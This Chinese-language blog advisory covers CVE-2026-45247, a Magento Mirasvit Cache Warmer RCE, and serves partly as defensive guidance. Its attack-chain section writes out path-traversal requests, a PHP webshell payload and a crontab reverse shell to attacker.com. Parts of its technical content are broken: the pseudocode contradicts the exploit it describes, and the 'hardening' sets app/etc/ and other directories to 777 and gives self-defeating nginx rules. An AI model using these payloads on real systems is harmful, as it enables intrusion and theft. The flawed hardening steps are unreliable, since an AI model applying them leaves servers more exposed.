返回首页

CVE-2026-45247:Magento RCE漏洞已被CISA列入KEV

CVE-2026-45247:Magento RCE漏洞已被CISA列入KEV

事件概述

2026年6月3日,美国网络安全和基础设施安全局(CISA)将一个影响Mirasvit Cache Warmer(流行的Magento全页缓存扩展)的关键漏洞加入其已知被利用漏洞(KEV)目录。该漏洞编号为CVE-2026-45247,是一个远程代码执行(RCE)漏洞,已有野外利用证据

CISA的KEV目录是美国联邦机构必须优先修复的漏洞清单。当一个漏洞被加入KEV目录,意味着它已经被确认在野外被积极利用,对所有使用受影响产品的组织都构成直接威胁。

技术原理

Magento平台安全背景

Magento(现为Adobe Commerce)是全球最流行的开源电商平台之一,被数十万在线商店使用。其插件生态系统是其强大功能的核心,但也带来了显著的安全风险。

Mirasvit Cache Warmer是Magento平台上最受欢迎的全页缓存扩展之一,用于优化页面加载速度和用户体验。该扩展通过预生成缓存页面来减少服务器负载,被大量电商网站广泛使用。

漏洞机制详解

CVE-2026-45247存在于Mirasvit Cache Warmer扩展的缓存处理逻辑中。漏洞的根本原因是不安全的文件操作和输入验证缺失

问题一:不安全的文件路径处理

Cache Warmer在处理缓存文件时,直接使用用户可控的参数构造文件路径,未进行充分的验证和过滤:

// 漏洞伪代码
function warmCache($url) {
    // $url来自用户请求,未经过滤
    $cacheFile = CACHE_DIR . md5($url) . '.php';
    
    // 直接写入文件,未验证内容
    file_put_contents($cacheFile, generateCache($url));
}

问题二:路径遍历漏洞

攻击者可以通过特殊构造的URL参数,利用路径遍历(Directory Traversal)写入任意位置的文件:

# 正常请求
GET /cachewarmer?url=/home

# 攻击请求(路径遍历)
GET /cachewarmer?url=../../../var/www/html/shell.php

问题三:代码注入

由于缓存内容直接写入PHP文件,攻击者可以注入恶意PHP代码:

// 攻击者构造的恶意缓存内容
<?php
// 看起来像正常的缓存文件
// 但实际上包含恶意代码
system($_GET['cmd']);
?>

完整攻击链

第一步:侦察。攻击者识别使用Magento和Mirasvit Cache Warmer的网站。可以通过以下方式识别:

  • 检查网站的HTTP响应头
  • 分析页面加载时间特征
  • 使用Wappalyzer等工具识别技术栈

第二步:漏洞利用。攻击者发送特制的HTTP请求,利用路径遍历和代码注入漏洞:

GET /cachewarmer?url=../../../var/www/html/shell.php HTTP/1.1
Host: target-ecommerce.com
Content-Type: application/x-www-form-urlencoded

# 或通过POST请求
POST /cachewarmer/warm HTTP/1.1
Content-Type: application/json

{"url": "../../../var/www/html/shell.php", "content": "<?php system($_GET['cmd']); ?>"}

第三步:获取访问权限。恶意文件被写入Web可访问目录后,攻击者通过浏览器访问该文件:

GET /shell.php?cmd=id HTTP/1.1
Host: target-ecommerce.com

# 响应
uid=33(www-data) gid=33(www-data) groups=33(www-data)

第四步:提权和持久化。攻击者利用系统漏洞提升权限,并建立持久化机制:

# 提权
sudo -l  # 检查sudo权限
find / -perm -4000 2>/dev/null  # 查找SUID文件

# 建立持久化
echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -

第五步:数据窃取和勒索。攻击者窃取客户数据、支付信息,或部署勒索软件加密数据库。

影响范围评估

  • 受影响产品:Mirasvit Cache Warmer for Magento
  • 漏洞类型:远程代码执行(RCE),CWE-94
  • 认证要求:无需认证
  • CVSS评分:严重(9.8+)
  • 野外利用:已确认(CISA KEV)
  • 影响:完全控制Magento站点

实战指南

检查是否受影响

检查扩展版本

# 登录Magento管理后台
# 导航至: Stores > Configuration > Advanced > System
# 检查Mirasvit Cache Warmer版本

# 或通过CLI检查
cd /var/www/magento
grep -r "mirasvit" app/etc/
grep -r "CacheWarmer" app/etc/

# 检查扩展目录
ls -la app/code/Mirasvit/
ls -la vendor/mirasvit/

使用Magento CLI检查

# 检查已安装的扩展
bin/magento module:status | grep -i mirasvit

# 检查扩展配置
bin/magento config:show | grep -i cache

紧急修复

方案一:禁用扩展

# 在Magento管理后台禁用Mirasvit Cache Warmer
# Stores > Configuration > Mirasvit > Cache Warmer > Enabled = No

# 或通过CLI
cd /var/www/magento
bin/magento module:disabled Mirasvit_CacheWarmer
bin/magento setup:upgrade
bin/magento cache:flush

方案二:更新到安全版本

# 检查可用更新
composer show mirasvit/module-cache-warmer

# 更新到最新版本
composer require mirasvit/module-cache-warmer:^最新版本
bin/magento setup:upgrade
bin/magento setup:di:compile
bin/magento cache:flush

方案三:完全移除

# 完全移除扩展
composer remove mirasvit/module-cache-warmer
bin/magento setup:upgrade
bin/magento setup:di:compile
bin/magento cache:flush

# 清理残留文件
rm -rf app/code/Mirasvit/
rm -rf var/cache/mirasvit/

检测利用痕迹

# 检查异常PHP文件
find /var/www/magento -name "*.php" -newer /var/www/magento/composer.json \
    -exec grep -l "eval\|exec\|system\|passthru\|shell_exec" {} \;

# 检查异常文件权限
find /var/www/magento -type f -perm -o+w -ls
find /var/www/magento -type f -name "*.php" -perm 777

# 检查Web服务器日志
grep -i "cachewarmer\|mirasvit" /var/log/nginx/access.log | tail -50
grep -i "cachewarmer\|mirasvit" /var/log/apache2/access.log | tail -50

# 检查异常数据库查询
mysql -u root -p -e "SELECT * FROM core_config_data WHERE path LIKE '%cache%';"
mysql -u root -p -e "SELECT * FROM core_config_data WHERE value LIKE '%mirasvit%';"

# 检查异常定时任务
crontab -l
ls -la /var/spool/cron/crontabs/
cat /etc/crontab

加固配置

Nginx配置加固

# 禁止直接访问缓存目录
location ~* /var/cache {
    deny all;
    return 403;
}

# 限制Cache Warmer访问
location ~* /cachewarmer {
    # 仅允许内部IP
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    deny all;
    return 403;
}

# 限制PHP执行
location ~* \.php$ {
    fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    
    # 禁止敏感目录
    location ~* /(app|lib|var|vendor)/ {
        deny all;
    }
}

# 禁止上传可执行文件
location ~* \.(php|phtml|php3|php4|php5|php7|phps)$ {
    # 仅允许特定目录
    allow 127.0.0.1;
    deny all;
}

Magento配置加固

// 在 app/etc/env.php 中添加安全配置

// 禁用不必要的API
'webservice' => [
    'handler' => '',
],

// 启用安全模式
'security' => [
    'use_file_ownership' => true,
    'admin_username' => 'admin',
],

文件系统权限

# 设置正确的文件权限
cd /var/www/magento

# 文件权限
find . -type f -exec chmod 644 {} \;

# 目录权限
find . -type d -exec chmod 755 {} \;

# 特殊目录权限
chmod -R 777 var/ pub/media/ pub/static/ app/etc/
chown -R www-data:www-data .

变现方式

电商安全服务

Magento安全审计:为电商网站提供全面的安全评估,包括扩展审计、配置审查和漏洞扫描。$3,000-$10,000/次。

PCI DSS合规咨询:帮助电商企业满足PCI DSS合规要求,包括安全配置、日志监控和审计。$5,000-$20,000。

应急响应:提供Magento安全事件的应急响应服务,帮助企业在遭受攻击时快速恢复。$2,000-$8,000。

安全工具开发

Magento安全扫描器:开发专门针对Magento的安全扫描工具,检测常见漏洞和配置问题。开源版本吸引用户,商业版本提供持续监控。SaaS订阅$100-$500/月。

WAF规则:编写Magento专用的WAF规则,检测和阻止常见攻击。通过安全厂商合作变现,授权费用$1,000-$10,000/年。

内容创作

电商安全指南:撰写Magento安全最佳实践,通过在线课程和企业培训变现。$200-$500/人,企业内训$2,000-$5,000/场。

漏洞研究:深入研究Magento安全生态,通过技术博客、会议演讲和咨询变现。

修复建议

立即行动

  1. 评估影响:确认是否使用了Mirasvit Cache Warmer扩展,检查版本
  2. 禁用或更新:立即禁用扩展或更新到安全版本
  3. 扫描系统:使用检测方法检查服务器是否已被入侵

短期行动

  1. 加固配置:按照最佳实践配置Nginx/Apache和Magento
  2. 监控日志:加强对Web服务器和Magento日志的监控
  3. 备份数据:确保有完整的数据备份,以防勒索软件攻击

长期策略

  1. 扩展审计:定期审计所有Magento扩展的安全性
  2. 安全更新:建立Magento核心和扩展的自动更新机制
  3. 监控告警:设置异常行为监控,及时发现安全事件
  4. PCI合规:确保持续满足PCI DSS合规要求

总结

CVE-2026-45247是一个已被野外利用的严重Magento RCE漏洞。CISA将其加入KEV目录表明其威胁的紧迫性。所有使用Mirasvit Cache Warmer的Magento站点应立即采取行动,禁用或更新扩展,并加强系统安全配置。电商网站的安全不仅关系到企业利益,更关系到客户的支付信息安全。

相关资源


本文最后更新于2026年06月05日

评论